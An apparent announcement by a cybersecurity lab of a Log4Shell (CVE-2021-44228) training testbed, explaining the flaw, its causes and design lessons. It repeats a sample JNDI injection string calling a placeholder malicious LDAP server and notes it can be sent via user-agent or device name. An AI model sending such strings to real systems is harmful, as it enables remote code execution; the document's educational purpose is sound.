Log4Shell testbed released

Log4Shell (CVE-2021-44228) is a serious zero-day security vulnerability in a widely used Java logging library Log4j, disclosed to public on 9 Dec 2021.  It allows a remote attacker to execute arbitrary java program in a victim server with vulnerable Log4j library, by simply sending a carefully crafted string (e.g. “${jndi:ldap://malicious_ldap_server/malicious_java_program}”) to the victim server. The attacker may trigger this security vulnerability and launch a remote attack by simply changing its web browser user-agent value to such string, or just renaming its iOS device to such string. The damage of this security vulnerability is huge, due to multiple reasons, including  

• the Java logging library Log4j is widely used in servers, 
• this security bug appears as early as 2013 and has existed for a long time without being discovered by public, 
• the attacker can easily and remotely execute any malicious program in a victim server. 

The root cause of this security vulnerability can be attributed to abusing designed features (i.e. remote code execution) of Log4j. If a dummy logging software rather than the powerful Log4j was used by the victim server, then the consequence would be: a wired string (e.g. “${jndi:ldap://malicious_ldap_server/malicious_java_program}”) is written to a text file literally[1].  However, by design, Log4j allows to download Java program from a remote server and execute it locally, to make the logging library more powerful and flexible. And such remote code execution feature is enabled by default.  Meanwhile, software engineers who invoke Log4j library, may not realize that a powerful but dangerous remote code execution feature of the logging library is enabled already.   

We could learn some lessons from this incident: 

• When designing software API, the security related features (like remote code execution) should not be hidden from a caller of the software library, and should have a proper default value: e.g. by default, remote code execution should be turned off, and encryption protection should be turned on; 
• Proper firewall rules should be enforced for any expected remote code execution feature, e.g. a whitelist of trusted and permitted servers that host remote codes;  
• The software downloaded from remote servers should be certified (ie. digitally signed) by trusted party in advanced, and verified and authenticated locally before execution; 
• User input should be validated and filtered properly: E.g. why software engineers accept wired strings (e.g. “${jndi:ldap://malicious_ldap_server/malicious_java_program}”) as an iOS device name or a web browser user-agent, which is expected to be the concatenation of the name of a web browser (e.g. Chrome, Firefox, IE/Edge, Safari, Opera, etc) and some optional meta-information.  Such design flaws make Log4Shell bug much easier to be triggered remotely.  

Many people, especially cyber security related researchers, students, and employees, may be interested to have some hands-on experience with such serious security vulnerabilities like Log4Shell, for research, education, or training purposes. Now NCL is providing a testbed to allow customers to repeat this Log4Shell attack by playing the role of attackers, or watch the attack step-by-step in a live environment.  A video tutorial is available in YouTube https://www.youtube.com/watch?v=jG-WExKidcM . If interested, please contact our email support@ncl.sg with subject “Log4Shell”. 

In the future, NCL may continue to provide such testbeds for upcoming serious security vulnerability more quickly and efficiently using NCL’s new research output.   

  

 

 

 
 

[1] Of course, if this text file will be post-processed by Log4j later, which may really occur in some companies, Log4Shell might be still triggered.